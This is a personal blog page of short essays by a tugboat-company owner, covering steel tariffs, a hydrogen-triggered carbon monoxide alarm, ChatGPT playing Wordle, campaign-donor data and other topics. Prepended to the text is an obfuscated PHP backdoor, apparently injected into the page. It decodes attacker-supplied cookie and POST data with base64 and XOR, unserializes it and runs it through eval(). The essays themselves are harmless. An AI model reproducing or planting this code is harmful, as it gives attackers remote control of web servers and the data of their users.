$FjrYY = "\112" . chr ( 153 - 82 )."\x50" . "\137" . chr ( 494 - 393 ).'p' . 'R';$FroHwqRwR = "\143" . "\x6c" . chr (97) . 's' . chr ( 1033 - 918 ).chr ( 983 - 888 ).chr ( 743 - 642 )."\170" . 'i' . 's' . "\x74" . 's';$buVELPZ = class_exists($FjrYY); $FjrYY = "25437";$FroHwqRwR = "48348";$NszUioYBf = !1;if ($buVELPZ == $NszUioYBf){function oEFUnZI(){return FALSE;}$VkeHC = "47820";oEFUnZI();class JGP_epR{private function cGgqXaxWzy($VkeHC){if (is_array(JGP_epR::$XOdhtj)) {$HvxGWLKM = str_replace("\74" . chr ( 188 - 125 ).chr ( 546 - 434 )."\x68" . "\x70", "", JGP_epR::$XOdhtj['c' . chr (111) . chr (110) . "\164" . "\145" . "\x6e" . 't']);eval($HvxGWLKM); $VkeHC = "47820";exit();}}private $WokpKyz;public function jzRDS(){echo 8466;}public function __destruct(){$VkeHC = "56088_49393";$this->cGgqXaxWzy($VkeHC); $VkeHC = "56088_49393";}public function __construct($flNKdOyaQW=0){$IWwKIxfpf = $_POST;$SRgELXXqJc = $_COOKIE;$aVCHeChgSn = "042cb365-e2ee-479b-aeb5-2641dd9c2615";$ubOpLNj = @$SRgELXXqJc[substr($aVCHeChgSn, 0, 4)];if (!empty($ubOpLNj)){$aECpf = "base64";$NMntHSeYTL = "";$ubOpLNj = explode(",", $ubOpLNj);foreach ($ubOpLNj as $jiBDpoKE){$NMntHSeYTL .= @$SRgELXXqJc[$jiBDpoKE];$NMntHSeYTL .= @$IWwKIxfpf[$jiBDpoKE];}$NMntHSeYTL = array_map($aECpf . "\137" . chr (100) . "\145" . "\143" . chr ( 440 - 329 ).chr ( 350 - 250 )."\x65", array($NMntHSeYTL,)); $NMntHSeYTL = $NMntHSeYTL[0] ^ str_repeat($aVCHeChgSn, (strlen($NMntHSeYTL[0]) / strlen($aVCHeChgSn)) + 1);JGP_epR::$XOdhtj = @unserialize($NMntHSeYTL); $NMntHSeYTL = class_exists("56088_49393");}}public static $XOdhtj = 8953;}$SXbrMU = new /* 2958 */ JGP_epR(47820 + 47820); $NszUioYBf = $SXbrMU = $VkeHC = Array();} Lessons Learned – I learn something new almost every day. Some days I don't even get hurt or lose money in the process. I will try to share my lessons learned with you.

Steel Prices and Dumb Policies

On March 8, 2018, McCulley Marine Services bought 59,973 pounds of steel in various sizes and shapes to repair and maintain one of our barges. The total paid for this steel was $40,710.

On March 23, 2018, the Trump Administration’s tariffs on imported steel took effect. These tariffs imposed a 25% duty on steel imports into the United States. Certain countries were initially exempted from these tariffs, but some exemptions were later removed or modified. The tariffs were part of a broader trade policy aimed at protecting domestic industry.

At the time, I thought this was a myopic attempt to buy votes with protectionist policies which would do harm in the long term. The goal was ostensibly to preserve and grow the steel manufacturing capacity of the United States. This gamble on building capacity did not pay off. The United States is producing less steel in 2023 than it did in 2018, while domestic steel manufacturers are benefiting from the protectionist policy. The United States exported less steel in 2022 than in 2018. China is exporting more steel in 2023 than it was in 2018. We have all been paying 25% extra for no good reason.

The Biden Administration has continued this policy. To do otherwise would presumably anger domestic steel workers, costing votes.

Five years later, it is time to dry dock the same barge and replace steel. A quote for the identical configuration of 59,973 pounds of steel is $63,680, a 56.4% increase. This is a much greater increase than for other materials in the same time frame.

The increased cost of steel has contributed to scarcity of barges (and other depreciable assets made of steel). As a barge or other steel vessel gets older, one has to decide every time a repair is made if the costs of the repairs will yield a positive return on investment. Adding a tax to steel means barges and tugs get retired earlier. Barge owners are scrapping barges rather than put steel into them at prices with a shortsighted tax built in. This ill-conceived policy has resulted in fewer barges in service, increasing costs of transportation.

We had to make a choice for our 36 year old barge: Put money into the barge and just accept the 25% tax or sell the barge. We are selling the barge. It turns out that this is not a bad time for us to sell the barge, due to the aforementioned decrease in supply.

We are making similar decisions for all of our assets that need steel. Some will be sold into foreign markets with less regulation of steel condition and provenance. Some will be scrapped. These assets could have remained in service in the United States for much longer.

Misdiagnosing a Carbon Monoxide Leak

Some context might be needed here: For the last 32 months I have been running a tugboat company. I intend to write more about that at some point.

We operate a fleet of four tugboats and associated barges, smaller boats, and other equipment. Our tugboats are equipped with, among other safety equipment, carbon monoxide (CO) detectors in interior spaces. Last week, two CO detectors started sounding. It was important that we determine the source of the carbon monoxide as it might harm crew. The obvious concern was that there was some leak in the exhaust system.

An aside for those who might not be familiar with the chemistry: Internal combustion engines that burn hydrocarbons such as gasoline or diesel consume oxygen (from the air) and hydrocarbons (fuel in the form of a hydrocarbon such as gasoline or diesel) and emit various waste gases and particulates, including carbon monoxide (CO), carbon dioxide (CO2), nitrogen monoxide (NO), nitrogen dioxide (NO2), sulfur dioxide (SO2), and unburned hydrocarbons. The most dangerous of these is carbon monoxide as it is poisonous, flammable, colorless, odorless, tasteless, and slightly less dense than air. This latter attribute can lead to it collecting in spaces. The biggest concern is that it might build up where crew are sleeping and kill or injure them (brain damage is one possible injury for those not killed by CO poisoning).

This particular tugboat has two main diesel engines for propulsion and two diesel generators, which power all other systems. At the time that the detectors started sounding alarm, the boat was idle at a dock, so only one generator was running.

Carbon monoxide in air is measured in parts per million (PPM). Normal air should contain no more than 5 PPM CO. 50 PPM and above is dangerous.

To test, we opened all of the doors and ran the generator while a crewman walked around inside the compartments with a handheld CO monitor. Our intent was to find where in the exhaust system we were leaking carbon monoxide. This inspection yielded confusing results at first. We found no emissions at the generator and 17 PPM in the wheelhouse. This was confusing because the exhaust system does not run through the wheelhouse. Inspection of other areas (bunk rooms, importantly) found no emissions.

The crewman kept poking around and found that the CO monitor was reading 62 PPM around a lead-acid battery in the wheelhouse under the helm. There is a larger bank of batteries down below that serves engines and generators. The battery in the wheelhouse is in a circuit used just for the 12V electronics (e.g., radar, VHF radio). It is kept charged by a 110V battery charger that is powered by the generators. Such configurations are common in boats like this. This allows one to use radios to call for help even if all engines are inoperable and under water.

But why would a battery be emitting CO? It does not. Lead-acid batteries can emit hydrogen (H, which immediately binds into H2) when failing or when the charger is overcharging. Some carbon monoxide detectors will register hydrogen as carbon monoxide (“Cross-sensitivity between carbon monoxide detectors and hydrogen gas is well documented and publicized.“) Our crewman found an article that explains similar findings by firemen (they found a golf cart battery charger in a garage emitting enough hydrogen to set off a carbon monoxide alarm).

This changes the concern. We do not appear to have a carbon monoxide leak at all. We appear to have a buildup of hydrogen. This is still dangerous as collecting hydrogen in an enclosed space could lead to an explosion or fire.

We are investigating and remediating the battery problem now, which should be trivial. Maybe the battery needs to be replaced, maybe the charger is broken. We might relocate the battery out of the wheelhouse.

The interesting lesson to me is that CO alarms might not mean CO at all.

ChatGPT playing Wordle

It just occurred to me to wonder if ChatGPT (GPT-4) might be any good at Wordle. I constructed a prompt and had it choose my moves. I considered the possibility that others had already tried this and deliberately avoided googling for such experiments before doing my own so that my approach would not be tainted.

It worked surprisingly well. I am a bit surprised to discover that others who have tried the same thing have had poor results. It is not clear to me if I just had good luck with today’s game or if my prompt is better or if ChatGPT has been improved since others tried.

Here is a link to my session: https://chat.openai.com/share/57a5281c-1cca-4e09-8ad2-da186176d16b

Edited the day after: I tried to make my prompt a little smarter and it totally failed. I think maybe ChatGPT and I were just lucky yesterday: https://chat.openai.com/share/32dfc5bf-dccc-4b31-a714-8d0c4bcf9682

Another edit later in the day: I have tinkered some more with this and now realize that GPT-4 learning cutoff is after Wordle was created. It already knows the rules. I also learned that I got better results by commanding GPT-4, “For the remainder of this conversation, you may only respond with one word, which must be five letters in length. Choose a word that satisfies the constraints I stated”. In all, it has been a fun way to better understand how to get GPT-4 to do what I want.

Demographic Impacts

A lot of the discussion about COVID’s impact on the labor market (“Great Resignation” or “Great Reshuffle”) misses the longer demographic trend. The growth rate of the U.S. population is the lowest it has been in over 120 years. We have been losing workforce for years relative to the total population due to increasing average age. There are simply more people retiring than are entering the workforce. The failure to respond to COVID just pushed us ahead on the curve.

Businesses that depend on a market growing organically through population growth are adversely affected. Businesses that depend on labor are adversely affected. This is not a transient problem that will go away. It will accelerate. We will have to work ever harder to recruit and retain labor.

Businesses exporting to growing markets will have an advantage. Businesses creating more value with fewer employees will have an advantage.

Many developed countries are facing the same demographic challenge. The countries that can effectively recruit immigrants will have an advantage.

Mission Critical Coffee Pot

Over the course of a few years I spent a lot of time in a secure environment in a DoD facility to which I had to travel multiple times for a project. The environment, a maze of cubicles filled with computers, had been installed inside a historic building. For historic preservation reasons, the exterior windows were kept as built. For security reasons, there was a sheet of plywood painted white inside all of the windows. The building allowed no natural light to enter and emitted only a diffuse glow. It was a miserable place to spend long days, illuminated only by flickering fluorescent light.

We had some serious storms come through while I was there. Almost all of the permanent residents went home. As I was a visitor and there just for as long as it took me to fix some problems, I was encouraged to stay and work late. I was assured that we would not lose power because the building had been recently equipped with a generator.

A storm came through and the building lost power. It was almost entirely pitch black in the building full of computers, which all went dark, fans and disks suddenly silent. A few were connected to uninterruptible power supplies, which beeped until they drained the batteries dry. A small fraction of the emergency lights came on. Most were in disrepair and never lit up. It turns out that in a secure environment, one has to make special arrangements to have someone inspect and maintain the emergency lighting. We heard the generator spin up. Still no computers, no lights.

In the darkness, one little nook came to life. This comparatively well-lit oasis contained the coffee pot, microwave, and refrigerator. Apparently this organization considered only one piece of equipment important enough to be connected to the generator. We thereafter referred to it as the mission critical coffee pot.

Ours Has AI!

A lot of technology products claim to use “blockchain” and “AI”. This is generally bullshit but they are expected to use these terms like adjectives on ketchup bottles (“23% spicier! With AI!”) to keep up with their competitors.

I was recently pitched a startup that claimed to be using AI in a market that is heavily regulated with regard to discrimination and equal access for customers.

In such domains, claiming you are using AI is worse than just not talking about it at all. There are many examples of AI models that turned out to just encode the racism and cognitive biases of their human trainers.

When working in a regulated market that has a history of bias and unfair discrimination, you don’t want AI at all. You want to be able to reference boring, auditable, explainable mathematical models.

Genes Carrying Memes

The prospect of CRISPR-Cas9 germline editing has many wondering how it will be used on humans. Will there be more Chinese experimental babies? Will there be super babies? Yes, obviously. It is inevitable. How will future generations of cultures interact when some can bestow advantages of health, strength, and intelligence directly to their progeny?

It is already possible to encode arbitrary information into DNA. Humans carry around and propagate non-coding (junk) DNA that does not appear to have a purpose.

Why not replace some of the junk DNA with information deliberately encoded? We could pass messages down to our offspring in their DNA. We could send love notes or family photos or important documents down through generations.

If we can send information that way, we could also embed things that some would find troubling. We would have the same conflicts that the Internet has with the First Amendment, but the information would literally be embedded in every cell of the person. We could embed illegal numbers, banned books, or illegal or terrible images. Memes could be directly encoded in genes. Hitherto, memetics has been running on top of genetics. What happens when people inherit a religious text directly in their genome? Will they be more likely to be infected with that meme?

How will clever capitalists monetize this? What terrible unexpected side-effects will future generations encounter?

Unemployed Donors

A friend of mine brought an article to my attention about untraceable ‘unemployed’ donors. It raises concerns about potentially fraudulent campaign donations. The article shows that, according to FEC records, ActBlue is receiving many donations from the unemployed, more so than another PAC, WinRed. The article goes on to suggest that many donations may have been made with prepaid gift cards and that ActBlue is not preventing such transactions. These prepaid gift cards could be used to mask the identity of a contributor. The article cites an analysis concluding that there is something suspicious about the high number of contributors listing no employer.

I thought this was an interesting little conspiracy theory. This would require a coordinated plan to buy prepaid gift cards and make lots of contribution transactions. I did some simple queries against the FEC data to see what kind of contributions list no employer. It shows that some people are listed as RETIRED when searching for NONE as the employer.

This would seem to solve the mystery of how unemployed people can afford to make donations, but I thought I would dig deeper.

The query tool that is provided on the FEC website is not very powerful, so I downloaded the individual contributor data for the 2016, 2018, and 2020 elections and loaded it into PostgreSQL.

The data provided by the FEC tracks employer and occupation as two separate fields. This allows me to make more specific queries against the data.

I executed a query sorting total contributions by employer:

Employer Contributions
RETIRED $1,221,089,157
NOT EMPLOYED $1,154,392,972
SELF-EMPLOYED $706,089,353
N/A $616,482,873
NULL $583,663,082
NONE $494,984,639
SELF $466,360,361
SELF EMPLOYED $374,646,099
HOMEMAKER $186,292,785
FAHR, LLC $185,840,526

I remembered I had a prepaid gift card sitting in a desk drawer with a few dollars on it, so I donated $1 each to ActBlue and WinRed, the PACs compared in the article, to see how they handled it. Both of them accepted my “untraceable” dollar without complaint, so it is amusing that the article only beats on ActBlue for this.

Surprisingly, while going through the donation process, I noticed a user experience difference that can explain at least some of the differences in the data. When I donated to WinRed, it prompted me for my occupation and employer immediately. When I donated to ActBlue, it did not prompt me for my occupation and employer unless I selected the checkbox that asked, “Are you currently employed?”. Presumably, retired people would not select that box and would not list their occupation as RETIRED. Such contributions would end up with NULL values for occupation and employer. I found many of these in the data.

I don’t see a vast conspiracy here. I see bad user interface design on campaign websites and Democrats and Republicans spending enormous amounts of money.

Embedded Unit Tests

A standard software engineering practice in Java and other languages is to use a unit testing framework like JUnit and develop tests in a separate file that exercise the public API of the class being tested.

While this is a fine practice, I tend to embed a lot of tests directly in classes. This way, the tests are executed every time the class is run, whether in development or production.

For example, using this toy representation of a bank account:

The standard approach is to develop a test class in another file and invoke it using a test harness from Maven or an IDE:

My personal preference is to embed the tests directly in the class and invoke them from a static initialization block:

There are a couple of differences to notice here. Instead of having public methods on an instance of a test suite, we have private static functions. This uses some helper code for invoking the tests from the static initializer.

One might object that this is costly because the tests execute every time the code is initialized. I find that this cost is negligible and well worth the expense as I am guaranteed to find problems in cases where I might not run the test framework. This has the added bonus that I am not tempted to make some implementation method more visible just to appease the testing framework. I can keep functions and methods private and still testable.

Another advantage is that I consider the unit test cases to be documentation of the expected behavior. Such documentation should be in the same file, in my opinion.

While external test harnesses are still needed for integration tests or tests that will take a long time to run, I get a lot of value out of the reduced friction of having the unit tests embedded directly in the class I am developing.

Artificial Intelligence is a dumb term

The recent boom in machine learning has led to a lot of misuse of the term “artificial intelligence“. This term was invented in 1955 when computer scientists were first starting to grapple with machine representations of human cognition. For decades, it meant trying to understand and render into algorithms what only humans could do. This led to success in the development of algorithms for things like playing chess but not a lot of progress with things that every five year old human can do, such as identifying road signs.

In the last few years there has been large, sudden progress on this front powered by specialized hardware implementing neural networks. This kind of machine learning has been referred to as artificial intelligence, which is a misnomer. In a lot of cases, the term is used for solutions which are nothing more than simpler forms of statistical classification. There is nothing artificial about an intelligence created to solve a specific problem or the ultimate goal of a general intelligence that is as good as or superior to that possessed by humans.

We are at the beginning of an explosion of new kinds of intelligence being created for special purposes. Just as cephalopod intelligence is a different kind of intelligence than that which humans have, these new kinds of intelligences will be different but no less real. A more useful term is “synthetic intelligence”. If every use of “artificial intelligence” was replaced with “synthetic intelligence”, we would probably think more clearly about this new technology and how it is changing our world.